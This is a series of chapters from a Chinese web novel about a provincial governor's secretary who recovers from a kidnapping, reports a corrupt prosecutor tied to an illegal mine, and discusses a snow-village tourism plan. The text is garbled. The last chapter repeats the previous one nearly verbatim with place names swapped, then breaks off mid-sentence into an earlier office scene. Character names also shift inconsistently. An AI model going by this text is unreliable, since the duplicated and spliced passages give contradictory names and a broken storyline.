许梦直接扑进李承的怀里,哭声中带着哽咽。 回想起李承躺在冰冷的雪地上,身上湿漉漉的,头发上还有冰碴,满面没有半点血色的样子,她仍心有余悸。 她怕李承再也醒不过来.... “没事了,没事了,我命大着呢,算命的说我能活九十九。” 李承轻轻拍了拍她的背,安抚她的情绪。 “你吓死我了,呜呜...” 许梦的哭声再也止不住了,压抑一宿的担忧情绪,在这一刻爆发。 感受着怀中的温暖,想起昨晚的凶险,李承觉得这一刻,这个拥抱是那样的幸福。 将许梦的情绪安抚好后,李承问她:“我手机呢?” 身为省长秘书,手机对李承来说很重要,错过任何一个工作电话,都会导致发生变故。 哪怕是深夜,也不例外。 很多突发的紧急情况,例如重大灾情都是在深夜,下面部门需要等待省长做决定,会率先打给专职秘书。 因为李承个人问题,错过了电话,他就有责任。 尽管那种概率很小,可不怕一万,就怕万一呀。 “手机给你充好电了,在这里。”许梦将李承的手机递了过来。 那伙人并没有拿李承的手机,没这个必要,拿了手机反而是累赘,会被跟踪定位。 李承接过手机,上面并没有未接电话,他悬着的心才算放下。 定了一个闹铃,李承看着许梦躺在隔壁床上睡去,他将手机放在枕头底下,这才又眯了一会儿。 ‘嗡嗡...’ 怕打扰许梦休息,李承特意把闹铃调成了震动。 被手机震醒,李承看了一眼还是睡梦中的许梦,拖着疲倦的身体悄悄起了床。 “你干嘛去?” 许梦还处于担惊受怕中,李承的稍微动作,让她瞬间惊醒过来。 “到点了,该上班了。”李承指了指手机上的时间,冲许梦笑了笑:“你继续睡一会儿吧,我没事了。” “昨天你都烧到四十度了,今天就请假别去了,你这也算是因公受伤,孟省长会理解的。” 许梦担心李承的身体,并不想让他去。 “没事了,你看我现在这不生龙活虎的吗?走路也很正常。” 李承的身体依旧很虚弱,但他强撑着一副正常人的样子:“我不仅能走,我还能大跳呢。” 李承蹦了一下,故意逗许梦开心。 “医生说了,你现在需要休息,别逞强,休息一天吧,你不好意思跟孟省长说,我跟他讲。” 许梦并没有被逗笑,态度十分认真的道。 “不行的宝宝,今天上午孟省长要去张家屯视察工作,我要是休息了,很多部门都会有变动。” 李承苦口婆心的说:“我真的没事了。” 第112章 坚持工作 李承只要能坚持住,就还是要去上班的。 别看李承只是一个专职秘书,感觉上,省长视察工作,有他没他不会有太大变数。 实则不然。 省长是决策层,但日常工作方面,都是由秘书全权负责。 孟省长是大脑,而李承就属于服务大脑的手脚。 不是说,省长离开秘书就无法正常工作,而是很多工作安排秘书比省长更了解,秘书不在,省长会多出很多麻烦。 “好吧。” 许梦知道在工作问题上,自己犟不过李承,但她还是不放心,提出了自己的要求:“这次视察电视台也会派人,我跟你一起去。” “你一晚上没睡,晚上还要录节目....” “我就要去,不然你也别去。” 许梦态度强硬,虽然有点在耍小性子,可她是为了李承着想。 李承知道自己就算阻拦,许梦也会跟着电视台去,无奈的点了点头:“行,一起去。” 昨晚许梦就已经给李承取来了一套干爽的衣服,换上衣服,两个人出了医院。 直奔孟良德所在的迎宾馆。 昨晚发生的事情,杨兆华也知情了,他大早上就给李承发来询问的消息。 在车上,李承给杨兆华回了电话,表示自己很健康,可以继续参加工作。 “你不是应该在医院吗?” 迎宾馆内,当孟良德打开房门,阴沉的脸上出现一抹诧异。 为了不影响省长休息,昨晚市局和省办公厅没有向孟良德汇报李承的情况,今早他才接到消息。 他本想着视察完张家屯,去看望李承,没想到李承居然已经等在门口了。 “老板,你都知道了?”李承笑了笑,问。 “嗯,一个小时前,杨秘书长给我打了一通电话。” 孟良德点了点头,说:“发生这么大的事,给你放两天假,别病倒了,我身边就少了一个得力助手啊。” “只是受了点寒,不要紧。”李承摆了摆手,说。 “你不关心自己,有人关心你呐,别让人担心。”孟良德看向许梦,对李承说。 “孟省长,我也劝他请假,可他偏不听,在他眼里工作比什么都重要。”许梦看似在向孟良德告状。 实际上,也是表现的表明李承对待工作的认真和负责。 “我的身体我知道,没什么事的。”李承逞强说。 “你俩还没吃饭呢吧,一起去食堂吃一口。”孟良德说。 三人到了食堂,吃了一些早餐,补充了营养,李承感觉自己的状态又恢复了几分。 因为许梦在,食堂内还有一些服务人员,孟良德并没有多问关于昨晚发生的事情。 吃过早饭,去张家屯视察的车队已经等候在门口。 李承自然要坐孟良德的专车,许梦则是上了电视台的车。 路上,孟良德问:“昨晚那些人,什么目的?” “他们想让我把雄黄矿的问题压下去,不想让您追查,我没同意。”李承讲出真相。 “看来这个矿不简单,背后牵扯利益巨大,以至于他们不惜对我的秘书下手。” 孟良德看着窗外沿途的景色,悠悠说道。 “嗯。” 李承本想将赵金福与他被抓有关的猜测告知给孟良德,但总觉得时机未到。 车队到达张家屯时,县委书记,县长,还有关于此次污水事件的责任人,已经等候于此。 李承率先下车,给孟良德开了车门。 “孟省长您好。” 一番基本的问好,握手礼是避免不了的。 做完这些表面工作,孟良德说:“非法开采的雄黄矿在什么地方?” “在前面,我给您带路。”县委书记李国庆说。 “嗯。” 孟良德点头,上了车。 在县里车队开路下,一行人赶往了矿场。 这里是非法采矿,并没有任何的建筑设施。 只有被挖的矿,以及几台来不及开走的挖掘机。 下车后,随行的记者开始录制工作。 “国庆同志,非法采矿的负责人,抓到了没有?”孟良德问。 “抓到了,人在县公安局。”李国庆立马回道。 “他怎么说?”孟良德问。 “他已经全部交代了,承认是他利益熏心来非法开采,愿意承担全部责任。”李国庆道。 可他的话,并不是孟良德要的答复。 “村书记在哪?”李承问。 “孟省长,我,我就是。” 一个五十多岁,皮肤黝黑的中年人站了出来。 “事情就发生在你们村,这件事,你有向组织反应过吗?”孟良德问。 “我....” 被孟良德询问,村书记孙喜下意识的看了李国庆一眼。 “有反应过。” 他就住在这个村子,不可能不知情,只好硬着头皮说。 “向哪个部门反映了,向谁反映了?”孟良德追问。 面对这个问题,孙喜左右为难了。 这时候,无论他说出谁的名字,都等于出卖的对方。 可他又不能不回答。 “向镇长马宽反应过。”孙喜如实说。 被孙喜卖了出来,马宽额头冷汗直流。 “马宽同志在哪,给我一个解释。”孟良德道。 “省长,我得知消息后,也跟县里的水利局和环保局反映了情况。”马宽再次将皮球踢了出去。 这两个部门已经上了东江问政,不怕被出卖。 关于东江问政的节目,孟良德也看了,对于节目上水利局和生态环境局的踢皮球行为,也看在眼里。 他知道,这么问下去,等待他的还是踢皮球答复。 于是,孟良德怒了。 “一个部门推卸一个部门,就是没有一个部门愿意站出来负责!我看啊,整个长廷县也该换换血了。 像你们这些懒政的官员,应该全部撤掉。” 孟良德表情严肃的说完,看向李承:“李秘书,你回去给我查一下,凡是与这件事有关的负责人,列出一个名单来,统统降职处理!” “好的省长。” 孟良德向来说一不二,他敢当着记者镜头下说,就一定会做到。 懒政行为,虽不至于开除,但给他们调到一些养老职位上,他们的仕途一辈子也就很难再有翻身的机会。 一省之长的怒火,这些人是承受不住的。 尽管他们心中不愿,却不敢吭声。 第113章 问责 “省长,分管自然资源的张副县长也在。” 这时,李承在旁边低声开口,给孟良德提醒。 下面这些小局长,一直在互相推卸责任。 可孟良德亲自到来,就需要一个人来承受他的怒火,来作为这个事件的主要责任人。 那些局长的等级,还不够格。 而分管自然资源的副县长,刚好可以。 级别够,非法采矿又是自然资源的责任,水质被污染,归咎到源头,还是自然资源局的问题。 “嗯。” 孟良德点了点头,但并没有直接在镜头面前点名张副县长。 而是看向了整个县委县政府的领导班子:“关于污水问题,必须彻查到源头,所有不作为的负责人,要严惩不贷。 至于村民们,县里要想办法找地方安置,张家屯的水质在达到国家标准前,全部撤离。 还有,对所有村民进行一个体检,这件事是政府部门的问题,不能让百姓承担,该赔偿的赔偿,该治疗的治疗!” 孟良德将所有问题安排的面面俱到。 百姓最关心的问题,还是自身的生命安全,孟良德提出承担百姓的医疗,赔偿,和安置。 完全可以安抚群众,让他们知道,省政府对待他们,会负责到底。 “谢谢孟省长,您是好官啊。” “孟省长,你就是我们百姓的父母官。” “....” 孟良德的车队是从村里路过的,很多村民也收到了消息,跑了过来围观。 在听到孟良德会负责到底后,纷纷表示了感谢。 每一张脸上都绽放着最淳朴的笑容,这就是民心所向。 李承就是农村出来的孩子,看到这一幕,他心里有些不是滋味。 明明这些人都是受害者。 却在维护到自身利益时,表现出那样的感激。 他们没有做错事,这份维权本就属于他们,错的人,是那些被利益熏心的商人,还有这些坐视不管的官员! 回到长廷县。 孟良德将分管自然资源的张副县长单独叫到了办公室。 “孟省长,您找我。” 张凡站在孟良德的面前,神情格外紧张。 他知道,等待他的,将是被问责。 “你作为分管自然资源局的副县长,这件事,你是主责,什么处理结果,我想你应该很清楚吧。”孟良德点燃一根香烟,语气相对平淡。 李承站在一旁,大概能揣测到孟良德的心思。 如果孟良德要追责,刚刚在村里,当着百姓和记者的面,就会对他进行追责。 之所以叫到办公室里,定然是另有目的。 “孟省长,我不清楚组织准备怎么处理。”张凡战战兢兢地说。 “撤职。” 孟良德吐出香烟后,轻描淡写的说出了这两个字。 闻言,张凡如同泄了气的皮球,整个人都变得心神不定,魂不守舍。 他爬了半辈子,才爬到了副县长的职位上,四十岁的年纪,如果没有因为这件事的发生,他的未来将会大有作为。 晋升到厅局级干部的行列中,希望很大。 可孟良德随口说出的一句话,却能将他所有的努力湮灭,他不甘心。 “省长,这件事我也想过处理,只是阻碍很大,我....” 张凡深吸一口气,眼中尽是不甘与无奈。 这件问题的发生,他不是没考虑过解决,事关一个村百姓的健康问题,他又是主管领导,很清楚问题的严重性。 可是,他也有苦衷。 “阻碍,什么阻碍?”孟良德弹了弹烟灰,问。 孟良德将他单独叫来谈话,就是想深究此事深层的利益。 面对一个村百姓的健康,事情还多次被举报到县里和市里,他不认为整个县的领导都会不重视。 这背后,一定还有一只大手在操纵。 “非法采矿的人叫赵金来,是他哥是汉江市检察院党组副书记赵金福,赵副书记亲自打过电话,不让查这件事....” 犹豫了很久,张凡说出了实情。 相比于得罪赵金福,保住自己的位置对张凡来说更重要。 “他不让你查,你就不查了吗!你们是给党和人民做事,还是给他个人做事的?” 孟良德一拍桌子,怒声责备。 对于孟良德的怒火,张凡耷拉着脑袋,不敢啃声。 “省长,赵金福昨晚通过审计局的关系,把我叫到了牡丹会,想让我帮他阻止报道和彻查此事。 被我当场拒绝了,我没有吃他的饭,他还跟我放下狠话,说让我小心,我的家人和朋友如果遇到公检法的问题,他不会轻饶我。” 李承这时在旁边插话,顺着这个话题,将昨晚发生的事情,添油加醋的告知给孟良德。 李承如果想帮赵金福,尽管孟良德今天来视察,他也有办法转移孟良德的视线。 但他想搞赵金福,只需要找到合适的实际,把一些能够推动孟良德怒火的话递上去就行。 这就是秘书的重要性,也是那些厅局级干部要巴结他这位副处的原因。 但李承并没有提起赵金福可能跟昨晚绑架他的人有关系,这一点,他需要让孟良德自己去揣测。 作为秘书,他在没有证据的情况下,把自己胡乱猜想一位厅局级干部的问题告知省长,是不明智的选择。 此言出,张凡抬起头,向李承投去了一个感激的目光。 李承在这个时候开口,是帮他解了围,转移了孟良德的怒火。 “岂有此理,这个赵金福简直无法无天!连我身边的秘书都敢威胁,谁给他的底气!” 孟良德眼中凶光乍现,对于赵金福这种祸害,他已然起了铲除之心。 “你的问题监委会会找你谈,先出去吧。” 孟良德冲张凡摆了摆手,道。 对于张凡的处罚,还是要继续的,只是不会那么重。 孟良德也清楚张凡的苦衷。 他也曾在县里担任过县长职位,也经历过来自市里领导的施压与干涉,那种滋味并不好受。 不同的是,孟良德家世显赫,在京城有关系,他有底气。 可对于张凡这种没背景的干部来说,面对赵金福这种厅局级干部,尤其是实权部门的厅局级干部施压,他不敢不从。 张凡离开办公室后,孟良德看向李承,吩咐道:“通知汉江市公安局局长到我办公室里等我。” 说完,孟良德起身,准备离开长廷县,返回汉江市。 路上,李承通过微信告知宫庆鑫,让他去省政府等待省长。 第114章 温暖 在即将进入省政府时,李承又给宫庆鑫发了一条消息,告知对方省长已经进入省府大院。 孟良德不在的情况下,宫庆鑫是无法进入办公室等待的。 李承的秘书办公室也不行。 以宫庆鑫的身份,会在办公厅的招待室休息。 提前告知他,就是让他提前到门口等候。 回到办公室。 接到消息的宫庆鑫已经等待在门口:“孟省长。” “嗯,进来吧。” 孟良德通过指纹打开办公室的门,走了进去。 李承则在秘书间,给孟良德烧水沏茶。 待到水烧开后,他这才拿着茶叶,端着水壶走入办公室。 孟良德对李承很信任,除非是面见一些重要来客,和重点保密事件,其余谈话都不会让李承回避。 “这件事的背后,牵扯到汉江检察院的党组副书记,但你不要有任何压力,一定要给我查到底。 有什么突发问题,随时向我汇报。”孟良德郑重其事地说。 “明白,我这就派人去长廷县。”宫庆鑫道。 李承虽然只听了一个结尾,却也能想到全过程。 无非就是孟良德让宫庆鑫将赵金福的弟弟赵金来羁押到市局审问,由市局亲自调查非法采矿一事。 县公安局的行政级别不够,调查起来,很容易承受来自赵金福的压力,从而出现传话,串供等问题,拖延调查进展,甚至可能会扭转调查结果。 汉江公安局和汉江检察院是同一行政级别,又是宫庆鑫亲自负责审理案件,对于那些政治干涉的压力,会减轻很多。 “还有,昨天绑架李秘书那伙人,找到了没有?”孟良德严肃地问。 秘书是省长的身边人,如果连秘书都被绑架的问题都不能严惩,以后谁还会愿意给这样的领导卖命呢? 并且,对方敢绑架李承,就是完全没把他这位省长放在眼里。 无论是出于对手下人的答复,还是维护自身的威严,孟良德都会严惩不贷。 “抓住了一个,什么都不肯交代,认坐大牢。”宫庆鑫无奈地说:“这群人呐,不以为耻,反以为荣。” 那些江湖混混是最难审讯的,都是派出所的常客,很多也都有过‘社会封闭大学’的经历,属于老油条了。 李承没有死,而且没有达到任何的伤害标准,非法拘禁的时长也不够,就算严惩,法律的处置标准也有上限。 他们知道就算判刑,也坐不了多久的牢,所以压根不在乎。 出狱后,只要老大不倒,一定会团伙被重用,在那些混混眼里,就属于是进去进修了。 “加大抓捕力度,三天之内,必须全部落网。”孟良德对宫庆鑫下达了死命令。 “收到。” “李秘书,下午也没什么事情,你回去休息吧,给你放两天假。” 李承的虚弱是肉眼可见的,脸上没有半点血色,孟良德决定他放假。 “行,谢谢省长。” 今天一上午的行程,他都是在强撑。 如果不是过于难受,他也不会休息。 “李秘书,我送你回去。” 出了省长办公室,宫庆鑫说。 “好。” “抓你的那群人,有什么特征,你还记得吗?”上车后,宫庆鑫问。 昨晚李承上了救护车就昏迷过去,他没有机会询问犯罪嫌疑人的具体特征。 “我记得,领头那个老大的脸上有一条刀疤,脖子上还有类似被烫伤的疤痕。” 李承将自己记得的画面,描述给了宫庆鑫。 昨晚,那个男人并没有做自我介绍,他手下的那群小弟也都喊他大哥,或是老板。 没有关于名字的线索。 “是他呀。”宫庆鑫沉声道。 “宫局,你认识吗?”李承问。 “他叫癫子,大名田进骅,雷二利手下的头马,常活动与城南一带,刚放出来没两年。” 宫庆鑫介绍道。 本来他还在为三天内抓捕的问题而烦恼,但现在确定了对方的身份,就简单很多了。 “哦哦,雷二利我倒是听说过。” 雷二利是汉江市有名的江湖大哥,手底下养了一群忠心耿耿的小弟,为人也老奸巨猾。 在汉江市叱咤风云这么多年,却从来没有入狱过,牵扯到他的问题,有小弟顶罪,上面也有人保他。 李承在汉江上大学的那会,就听说过他的名号。 学校里很多小痞子,都会聊到这个人,还会吹嘘自己认识雷二利手下的谁谁谁,自己家什么亲戚跟雷二利是好朋友,以此作为炫耀的方式。 ..... 回到家,许梦也在。 她有李承家的钥匙,想着在李承下班前,做出一桌子的菜给李承补补身体。 “你怎么这么早就回来了?” 看到李承提前下班,许梦很是惊喜。 “老板给我放了两天假,让我好好休息。”李承换上拖鞋,说。 “你看你,脸上一点血色都没有,晚上我给你顿了鸡汤,好好补补身体。” 许梦扑进李承的怀里,将他紧紧抱住。 触碰到李承身体时,她柳眉一皱,焦急地说:“你身上怎么这么凉,赶紧进屋盖上被躺一会儿。” “没事,外面天冷,一会就缓过来了。”李承摆了摆手,道。 作为一个男人,这点伤风小感冒,他不放在眼里。 “你别不当回事,这身体不止是你自己的,还是我的呢。”许梦帮李承脱下外套和外裤,拉着他进入卧室,强行给他按进被窝里。 “嗯,凉着是不太好,容易肾虚。” 李承开了一句玩笑:“虚了,你就该不舒服了。” “没个正经。” 许梦白了李承一眼,脸也被羞红了:“我去给你做饭。” “让我抱一会你吧。”李承说。 人在生病难受的时候,就需要一个依靠,男人也不例外。 他想要许梦一个抱抱。 “嗯。” 许梦钻进被窝,将李承抱进怀中,用身体温暖着李承。 在许梦的温柔乡中,李承渐渐睡了过去。 许梦看到李承睡熟后,轻轻在他的脸上亲了一口。 这才抽出自己已经麻木的胳膊,去了厨房,给李承做出一桌子丰盛的晚餐。 ..... 在许梦的悉心照顾下,李承的身体很快就恢复了。 开始正式投入到工作之中。 ‘铃铃铃...’ 刚将审阅过的资料递交到孟良德的办公桌上,秘书室的办公座机就响了起来。 “李秘书,我是市局宫庆鑫。” 电话那边,宫庆鑫的声音传了过来。 “宫局长,是癫子那伙人找到了吗?”李承问。 宫庆鑫打办公座机电话过来,自然是有公事汇报。 今天又临近孟良德所给他的调查期限,李承推测对方是汇报此事。 但他又记不得癫子的大名,只好叫他的外号。 “是,田进骅已经落网,现在在市局的审讯室,我们正在审讯中,李秘书麻烦你将此事汇报给孟省长。”宫庆鑫道。 他还有公务在身,没必要为了汇报一句话特意跑一趟省政府,想让李承转达,告知孟省长他已经完成了任务。 “好,我跟省长说。”李承答应。 “李秘书抽空有时间的话,可以到市局来一趟,配合一点调查,做个笔录。”宫庆鑫说。 李承作为当事人,他的笔录可以作为法庭上的证据,很关键。 但由于李承身份的特殊性,他只能等李承的时间。 “好,我今天中午抽空过去,或者是晚上下班。”李承说。 他的时间也很紧,并且不归他自己掌控,而是要根据孟良德的工作时间做调整。 “嗯,好。”宫庆鑫道。 挂断电话,李承来到孟良德的办公室。 见李承进门,孟良德冲他招了招手:“李秘书,你是封兰市人,去过雪村吗?” 雪村,位于东江省封兰市横河县黄田镇,是一个特色的旅游景区。 别看它只是一个村子,每年为封兰市贡献的GDP和税收甚至是其所在横河县的几倍。 雪村,村如其名,以雪著称。 每年一月份左右,最高的积雪能达到半人高,白雪皑皑,配合上浓郁的八十年代北方乡村气息,是很多南方人的憧憬之地。 每年能吸引数十万游客过来玩。 尤其是近几年,网络时代的来临,给雪村带来了巨大流量,雪村也增添了很多特色文化和游玩项目,让雪村爆火于网络。 近两年,游客稳定数量可达上百万。 “没有。”李承如实说道。 雪村以雪为特色,对于南方没见过雪的人吸引力大。 可李承是北方农村出生,雪这东西每年都见,没什么稀奇的,自然也就没有什么想去的欲望。 “对雪没什么兴趣吧?”孟良德闲聊天的问。 “嗯,而且消费又高。”李承道。 随着雪村的热度来临,但资源有限,物价也就水涨船高,在雪村住一晚都要上千块起步,有些房子可能会破万。 就连雪村隔壁的南林村,民宿也要几百块一晚,住宿环境也很有限。 并且,食物也贵得离谱,李承没那个兴趣。 “孟省长,您问起了雪村,是跟报告有关系吧?”李承问。 李承属于是明知故问,目的呢,就是为了引入话题。 他知道,孟良德问这个问题,和封兰市的规划报告有关系,这个报告李承也刚看过。 “嗯,你对于封兰市的规划报告,有什么看法?”孟良德问。 虽说李承是秘书,属于是辅助他工作的人。 但很多事情,他还是想听听李承的看法。 这是为了培养李承。 迟早李承是要从秘书岗位调任,投入到地方作为领导层的,他要提前考量和培养李承的政治才能。 未来,这也将是他的政治力量之一。 “讲实话,我并不看好这个规划报告......” 接下来,李承将自己的想法,详细的讲述给了孟良德。 封兰市吃到了雪村带来的旅游红利,看到了旅游业的巨大前景,所以,他想让省里拨款,将雪村隔壁的南林村并入雪村,构建出一个更大的冰雪王国,以此来吸纳更多的游客。 这种想法,有利有弊。 利在于,雪村大规模扩建,容纳游客量增加,消费水平却能降低,让雪村的消费可以更加平民化。 加设更多的游玩项目,也能给游客们更好的体验。 这些,是计划书中所描述的优点。 但是在李承看来,弊端大于利好。 两个村的并入,会让这个‘冰雪王国’的面积增大,这就代表游客们会更加分散。 缺少了很多‘人气’,会让雪村显得稍冷清。 人都有从众心理,很多人在网上看到了热度高的景区,就会组团去凑热闹,就是来自从众心理。 而面积扩大,人群密度缩减,就会破坏这种从众心理。 导致消费不集中。 而且,由于可用于商业化的房屋增加,还会出现恶意竞争的可能性,会给游客带来不好印象,出现副作用。 但这些,都是其次。 主要的还是投资金额巨大,建设时间过长,回报周期也会久。 “我觉得,很多游客来雪村游玩,一来是流量的热度,二来是南方游客对于雪的憧憬。 这个规划报告我也看过,其中的一项数据很重要,就是复购率。 雪村每年的游客,主要以新游客为主,会来第二次的游客太少了。 流量有过期的时间,而且都是一过性消费,扩建投资金额巨大,回报周期太长了。 而且,近期网络上对于雪村的负面新闻很多,我觉得,当务之急是加强监管,挽回舆论风向,而不是扩建。” 李承也知道,这是孟良德对他的一种培养,才愿意听一下他的想法。 所以,他将自己内心最真实的想法讲了出来。 这种想法不怕说错。 说错了,孟良德才会纠正,为他传授更多的经验。 “嗯。” 孟良德点了点头,却也说出自己不一样的想法:“你说的这几点很对,但是,雪村的扩建,也未尝不可。 如果能将雪村打造成国际景点,吸引东南亚的游客,就有可行性。 具体,还要看规划,单单看这份规划报告,还远远不够。” 第115章 雪村 孟良德对于雪村的投资扩建,其实是犹豫的。 他需要考虑的问题远远多于李承。 关于景区建设问题,李承想到的只有国内发展,而他却在考虑国际化。 随着国家的发展,免签的国家越来越多。 尤其是东南亚地区,他们属于热带气候,和南方的游客一样,没有见过雪。 如果雪村可以在国际上打响名号,一定可以吸引很多外国游客来玩,如此一来,仅凭现在雪村的规模还远远不够。 雪村能国际化,带动的不仅仅是封兰市的经济,还有整个东江省。 尤其对省会汉江的经济也有提升。 因为汉江是全省唯一拥有国际机场的城市,外国游客落地的第一站消费,会在汉江,还能打响汉江在国际的名誉。 若是能将雪村打造成东江省的招牌景区,对于孟良德的政治生涯将是很大的一笔功绩。 但这是一个冒险行动。 正如李承所讲,如果失败的话,这笔巨大的投资,回报起来将是遥遥无期。 而雪村也将成为他的一个败笔。 况且,这件事执行起来会有障碍,作为一个空降派,他的政敌很多,时间未必够。 对孟良德来说,最重要的问题就是时间。 孟良德要考虑在自己的任期内,雪村是否能达到他预想中的效果。 如果不能,那他就是前人种树,后人乘凉,给别人做了嫁衣。 如果他的任期到了,能够接任他位置的人,最大可能是副省长袁伟。 可袁伟又是本地派,是他的政敌,两人素来不合。 给一个政敌种树乘凉,他不想。 不想的原因,不是因为他没有大局观。 他也要为自身利益考虑,多了一个强劲的政敌,对于他未来的仕途,仍是一种风险。 这些年,类似的案例,他见过很多。 “该下去走一走了,去了解了解全省各市的情况。”孟良德道。 正常情况下,省长上任后,都会出访一圈,去各个市视察一下工作,了解一下当地的情况。 但孟良德上任后,面临的难题很多,上任省长李雪忠是被纪委查处的,留下了一丢烂摊子。 这大半年,他都在为李雪忠‘擦屁股’,没有时间去各地视察。 现在,这些烂摊子解决得差不多了,也可以考虑视察工作。 “省长,您大概准备什么时候出发,我提前去准备。”李承说。 省长下去视察工作,这一圈下来起码得十天半个月,省政府办公厅需要提前很长一段时间做足准备。 需要安排的行程,陪同的人员,以及各部门的协调等,十分繁琐和复杂。 “一个月十号左右吧。”孟良德想了想道。 他的时间是很紧迫的。 尤其是十二月份,是一年的尾声,很多指标,还要各部门汇总都要在这个月完成。 而二月初是春节。 春节之后,很多新的问题又接踵而至,他根本脱不开身。 但是,孟良德又想去雪乡村视察工作。 雪村是冬季特色景点,经营时间就这几个月,错过了,那就要等到明年。 “好,我提前通知做准备。”李承点头。 “不急,这件事还要开会商量。”孟良德道。 “嗯。” 李承点了点头,说:“省长,刚才市局的宫庆鑫局长打来电话,那晚的犯罪嫌疑人已经捉拿归案。” “嗯,他的办事效率可比常百利高多了。”孟良德吸了一口香烟说。 至今为止,他还对常百利几次的办事失利而不满。 但这种牢骚,他也只会在李承面前说。 ...... 晚上下班后,李承送孟良德回到迎宾馆,自己则来到了市公安局。 “李秘书,你来了。” 宫庆鑫知道李承要来,也没有下班,特意等在局里。 “嗯,宫局长辛苦了。” 李承客气了一句后,在宫庆鑫的带领下,去做了一个笔录。 将那天晚上的前因后果,讲述给了笔录员。 这个过程很快,就是走一个流程,作为证词。 “宫局长,田进骅的审讯结果怎么样?”李承问。 “他说是拿了赵国来的钱,收钱办事。”宫庆鑫递给李承一根香烟,无奈的说:“其他都不肯说。” 大家都知道,这件事背后的始作俑者不是赵金来。 赵金来也不过是被推到台面上的背锅侠而已。 可田进骅只肯咬出赵金来,其他都不肯讲。 而赵金来又是非法采购的责任人,全部认了罪,从法律层面上,已经形成了闭环。 赵金来在感受到危机,花钱雇佣田进骅这位社会闲散人员进行胁迫和威胁。 田进骅收钱办事,绑架了李承进行威胁。 一切都合情合理。 “我想看一眼田进骅。”李承说。 “没问题,跟我来吧。” 对于李承的要求,宫庆鑫没有拒绝。 作为这件事的当事人,他是没有权利见犯罪嫌疑人的。 但作为孟良德的秘书,就属于是工作流程。 审讯室的门打开。 田进骅被拷在审讯椅上,闭目养神。 他听到门响的声音,抬头看到了走进来的李承,笑了笑:“李秘书,我们又见面了。” 他的笑容,在脸上那道刀疤的衬托下,格外的阴森。 李承冷着脸,看着田进骅那副慵懒的模样,心情格外沉重。 那一晚的情景,仿佛再次映入在他的眼帘。 冰冷的江水,那种濒临死亡的感觉,以及田进骅的脸,都给李承带来了前所未有的恐惧。 虽说这次见面,形势已经出现了彻底逆转。 那一晚,李承是鱼肉,田进骅是刀俎。 而这一次,田进骅成为了被动的一方,沦为阶下囚。 但仍然无法逆转李承对于这个人的畏惧。 李承是一个普通人,政坛上的尔虞我诈他见过,可江湖上的凶险,他却从未经历。 哪怕是陈志伟,对他也是好吃好喝地供起来,以柔和的方式来应对,不像田进骅那般残暴。 “嘶....李秘书的身体素质就是好啊,哈哈哈,那么冷的天,冻了那么久,这么快就跟没事人一样。 说实话,我都怕你冻死,看到李秘书安然无恙,我也就放心了。” 田进骅上下打量了李承几眼,笑呵呵地说。 那状态,完全不像是在审讯室,更像在他的办公室。 第116章 谈话 孟良德对于雪林村的投资扩建,其实是犹豫的。 他需要考虑的问题,远远多于李承。 关于景区建设问题,李承想到的只有国内,而他却在考虑国际化。 随着国家的发展,免签的国家越来越多。 尤其是东南亚地区,他们属于热带气候,和南方的游客一样,没有见过雪。 如果雪林村可以在国际上打响名号,一定可以吸引很多外国游客来玩,如此一来,仅凭现在雪林村的规模还远远不够。 雪林村能国际化,带动的不仅仅是雪原市的经济,还有整个东江省。 尤其对省会汉江的经济也有提升。 因为汉江市,是全省唯一拥有国际机场的城市,外国游客落地的第一站消费,会在汉江。 只要能将雪林村打造成东江省的招牌景区,对于孟良德的政治生涯将是很大的一笔功绩。 但这是一个冒险行动。 正如李承所讲,如果失败的话,这笔巨大的投资,回报起来将是遥遥无期。 而雪林村也将成为他的一个败笔。 况且,这件事执行起来会有障碍,作为一个空降派,他的政敌很多,时间未必够。 对孟良德来说,最重要的问题就是时间。 孟良德要考虑在自己的任期内,雪林村是否能达到他预想中的效果。 如果不能,那他就是前人种树,后人乘凉,给别人做了嫁衣。 如果他的任期到了,能够接任他位置的人,最大可能是副省长袁伟。 可袁伟又是本地派,属于他的政敌。 给一个政敌种树乘凉,他不想。 不想的原因,不是因为他没有大局观。 而是他也要为自身利益考虑,多了一个强劲的政敌,对于他未来的仕途,仍是一种风险。 这些年,类似的案例,他见过很多。 “该下去走一走了,去了解了解全省各市的情况。”孟良德道。 正常情况下,省长上任后,应该出访一圈,去各个市视察一下工作,了解一下当地的情况。 但孟良德上任后,面临的难题很多,上任省长李雪忠是被纪委查处的,留下了一丢烂摊子。 这大半年,他都在为李雪忠‘擦屁股’,没有时间去各地视察。 现在,这些烂摊子解决的差不多了,也可以考虑视察工作。 “省长,您大概准备什么时候出发,我提前去准备。”李承说。 省长下去视察工作,这一圈下来起码得十天半个月,省政府办公厅需要提前很长一段时间做足准备。 需要安排的行程,陪同的人员,以及各部门的协调,十分繁琐和复杂。 “一个月十号左右吧。”孟良德想了想道。 他的时间是很紧迫的。 尤其是十二月份,是一年的尾声,很多指标,还要各部门汇总都要在这个月完成。 而二月初是春节。 春节之后,很多新的问题又接踵而至,他根本脱不开身。 但是,孟良德又想去雪乡村视察工作。 雪林村是冬季特色景点,经营时间就这几个月,错过了,那就要等到明年。 “好,我提前通知做准备。”李承点头。 “不急,这件事还要开会商量。”孟良德道。 “嗯。” 李承点了点头,说:“省长,刚才市局的宫庆鑫局长打来电话,那晚的犯罪嫌疑人已经捉拿归案。” “嗯,他的办事效率,可比常百利高多了。”孟良德吸了一口香烟说。 至今为止,他还对常百利几次的办事失利而不满。 但这种牢骚,他也只会在李承面前说。 ...... 晚上下班后,李承送孟良德回到迎宾馆,自己则来到了市公安局。 “李秘书,你来了。” 宫庆鑫知道李承要来,也没有下班,特意等在局里。 “嗯,宫局长辛苦了。” 李承客气了一句后,在宫庆鑫的带领下,去做了一个笔录。 将那天晚上的前因后果,讲述给了宫庆鑫。 这个过程很快,就是走一个流程,作为证词。 “我想看一眼田进骅。”李承说。 “没问题,跟我来吧。” 对于李承的要求,宫庆鑫没有拒绝。 作为这件事的当事人,他是没有权利见犯罪嫌疑人的。 但作为孟良德的秘书,在即将进入省政府时,李承又给宫庆鑫发了一条消息,告知对方省长已经进入省府大院。 孟良德不在的情况下,宫庆鑫是无法进入办公室等待的。 李承的秘书办公室也不行。 以宫庆鑫的身份,会在办公厅的招待室休息。 提前告知他,就是让他提前到门口等候。 回到办公室。 接到消息的宫庆鑫已经等待在门口:“孟省长。” “嗯,进来吧。” 孟良德通过指纹打开办公室的门,走了进去。 李承则在秘书间,给孟良德烧水沏茶。 待到水烧开后,他这才拿这茶叶,端着水壶走入办公室。 孟良德对李承很信任,除非是面见一些重要来客,和重点保密事件,其余谈话都不会让李承回避。 